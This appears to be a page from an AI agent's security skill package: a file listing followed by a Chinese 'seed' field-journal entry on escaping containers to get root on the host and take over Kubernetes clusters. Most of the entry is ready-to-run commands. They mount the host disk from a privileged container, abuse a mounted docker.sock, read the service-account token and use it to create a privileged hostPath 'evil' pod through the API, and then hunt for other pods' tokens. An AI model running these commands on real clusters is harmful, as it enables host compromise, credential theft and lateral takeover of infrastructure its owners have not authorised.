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reverse-skill-router

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Routes reverse engineering, exploitation, penetration testing, malware, mobile, firmware, browser automation, documentation, and security tasks to the appropriate specialist skill. Use when a task spans modules or the correct reverse-skill entrypoint is unclear.

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MASTER-ROUTING.mdmarkdown7.3 KB
SKILL.mdskill md12.9 KB
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field-journal/2026-05-15-cellular-pro-mumu-ksad-fragment-fix.mdmarkdown1.3 KB
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field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.mdmarkdown12.0 KB
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field-journal/2026-06-29_burp-mcp-full-test-and-fix.mdmarkdown7.4 KB
field-journal/2026-07-05_dsl-vm-captcha-reverse.mdmarkdown3.5 KB
field-journal/2026-07-14_android-arm64-self-extract-source-recovery.mdmarkdown5.7 KB
field-journal/2026-07-18_gin-juice-client-friction.mdmarkdown1.6 KB
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field-journal/2026-07-22_electron-bytenode-privileged-update-chain.mdmarkdown6.7 KB
field-journal/2026-08-01_nextjs-cdk-contract-faithful-local-reconstruction.mdmarkdown7.6 KB
field-journal/2026-08-01_pentest-encryption-oracle-public-template-sql-admin-takeover.mdmarkdown8.1 KB
field-journal/2026-08-06_cortex-m-msc-firmware-self-keyed-rotate-xor.mdmarkdown4.8 KB
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field-journal/2026-08-14_windows-powershell-native-exit-code-pr-review.mdmarkdown5.5 KB
field-journal/2026-08-17_tool-index-r2-fallback-powershell-pwsh-host-fix.mdmarkdown12.1 KB
field-journal/2026-08-20_apk-flutter-banner-ad-removal.mdmarkdown6.0 KB
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field-journal/seed-016_k8s-container-escape.md

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# [种子] 容器逃逸 → 拿宿主机 root(cap_sys_admin / 特权容器 / docker.sock)

## 场景分类
渗透测试 / 云原生 / 容器安全

## 目标概述
拿到一个容器内的 shell(通过应用漏洞 / 暴露的 Jenkins / 或 K8s 上的 RCE),需要从容器逃逸到宿主机,进而横向控制整个 K8s 集群。

## 完整执行链路

1. 进容器后第一时间踩点
   ```bash
   id                                    # 是不是 root?
   cat /proc/self/status | grep CapEff   # 看 capabilities
   capsh --print                         # 同上更友好
   ls -la /var/run/docker.sock           # 是不是挂了 Docker socket?
   mount | grep -v proc                  # 看挂载哪些宿主机目录
   cat /proc/1/cgroup                    # 是 docker / containerd / kubepods?
   env | grep -i 'kube\|docker\|aws\|az' # 服务账号 / 元数据 token
   ls /var/run/secrets/kubernetes.io/serviceaccount/  # K8s SA token
   ```
2. 按检测结果选逃逸路径:

   **路径 A:特权容器(`--privileged`)**
   ```bash
   # 直接 mount 宿主机磁盘
   mkdir /host && mount /dev/sda1 /host
   chroot /host
   # 现在你是宿主机 root
   ```

   **路径 B:cap_sys_admin / cap_dac_read_search**
   ```bash
   # 利用 release_agent 绕过(CVE-2022-0492 类)
   # 利用 cap_sys_admin 直接 mount
   ```

   **路径 C:挂了 docker.sock**
   ```bash
   docker -H unix:///var/run/docker.sock run -v /:/host alpine chroot /host bash
   ```

   **路径 D:K8s SA token 有过权限**
   ```bash
   TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
   kubectl --token=$TOKEN auth can-i --list
   # 如果能 create pod → 用 hostPID/hostNetwork/hostPath 起特权 pod 逃逸
   ```

   **路径 E:kernel exploit(Dirty Pipe / Dirty COW / OverlayFS)**
   ```bash
   uname -a               # 看内核版本
   # 选择对应 CVE 的现成 exploit
   ```

3. 逃出来后,在宿主机上找下一跳
   - kubelet 凭据 (/var/lib/kubelet)
   - container runtime socket (containerd / dockerd)
   - 其他 pod 的 token
   - hostNetwork → 直连集群所有 service IP
4. 横向扩散到整个 K8s

## 踩坑记录

| 问题 | 原因 | 解决方案 | 耗时 |
|------|------|---------|------|
| 容器是非 root,capabilities 都是空 | 应用层加固较好 | 找 setuid 二进制 / kernel 漏洞 / 容器外部漏洞 | 数小时 |
| 看到 docker.sock 但读不了 | sock 是 root:root 660 | 当前 uid 加入 docker 组(如果有 setgid 程序)or 利用其他容器 | 30min |
| 起了特权 pod 但镜像下载失败 | 内网集群,docker registry 内部 | 用集群里已有的镜像(kube-system 下随便挑) | 20min |
| K8s SA token 没权限 | 默认 SA 通常是 default/restricted | 试 list pods → 找有 cluster-admin 的 pod → 偷它的 SA token | 1h |
| chroot 后没有常用工具 | 宿主机是极简发行版 | mount /proc /dev /sys 后再用 chroot;或者直接在原 ns 操作 /host | 30min |
| 集群有 PodSecurity Standards | restricted 策略禁了 hostPath / privileged | 看是否有 namespace 的 admission 配置宽松;找带 deployment 创建权限的 SA | 数小时 |

## 工具链发现

- **deepce** 容器逃逸自动化检测(一个 sh 脚本,无依赖)
- **kdigger** Kubernetes/容器侦察工具,输出结构化结果
- **peirates** K8s 渗透专用 TUI
- **kube-hunter** Aqua 出品,扫集群安全问题
- **botb (break out the box)** 老牌容器逃逸工具
- **cdk** 容器渗透瑞士军刀(中文项目,覆盖中国云厂商场景)

## 关键代码/命令

一键自检:

```bash
# 拉 deepce(不依赖任何东西)
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh
# 输出:检测到 N 个逃逸路径
```

用 K8s SA token 起特权 pod 逃逸:

```bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc

# 检查权限
curl -sk --header "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -X POST -d '{"spec":{"namespace":"default"}}'

# 如果能 create pod,用 hostPath 挂宿主机
cat <<EOF > evil-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: evil
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: evil
    image: alpine
    command: ["/bin/sh","-c","sleep 999999"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host
  volumes:
  - name: host
    hostPath:
      path: /
EOF

curl -sk --header "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/yaml" \
  -X POST $APISERVER/api/v1/namespaces/default/pods \
  --data-binary @evil-pod.yaml

# 然后 exec 进 evil pod,chroot /host
```

CVE-2022-0492 利用(cap_sys_admin + 不带 user namespace):

```bash
# 见 https://github.com/PaloAltoNetworks/cve-2022-0492
# 核心:mount cgroup → 写 release_agent → 触发空 cgroup → 在宿主机上下文执行
```

## 对本包的改进建议

- 已有 `CTF-Sandbox-Orchestrator/competition-agent-cloud/`,建议增加 `references/k8s-attack-paths.md`
- attack-chain 增加"容器逃逸 → 集群接管"完整路径示例
- bootstrap-manifest 加入 deepce / kdigger / peirates

## 可复用的模式/脚本片段

**容器逃逸 5 路径速查**:

```text
1. 特权容器           → mount /dev/sda1 /host && chroot /host
2. cap_sys_admin     → CVE-2022-0492 (release_agent) / 自己挂 cgroup
3. docker.sock       → docker run -v /:/host alpine chroot /host
4. K8s SA + 权限     → 起 hostPath/privileged pod
5. kernel CVE        → DirtyPipe (CVE-2022-0847) / DirtyCred (CVE-2022-2588) / OverlayFS (CVE-2023-0386)
```

**逃出来后必看**:

```text
- /var/lib/kubelet/pods/        → 偷其他 pod 的 SA token
- /var/lib/docker/              → 看运行的容器列表
- ip addr                        → 用 hostNetwork 直接访问 service IP
- crictl ps                      → containerd 容器列表
- ps -ef --forest                → 找 kubelet / dockerd 启动参数(含 token)
```

## 进化动作
- [ ] CTF-Sandbox-Orchestrator/competition-agent-cloud 增加 k8s-attack-paths.md
- [ ] attack-chain 增加容器逃逸 → 集群接管路径
- [ ] bootstrap-manifest 增加 deepce/kdigger/peirates

## 环境信息
- 攻击位置: 容器内(任何 shell 入口都可)
- 目标: K8s 1.24+ / Docker 20+ / containerd 1.6+
- 内核: 视目标而定,关注 CVE-2022-0492 / CVE-2022-0847 / CVE-2023-0386 时间窗

## 脱敏要求
本条目为种子数据,基于公开容器/K8s 安全研究编写,不涉及任何真实集群。
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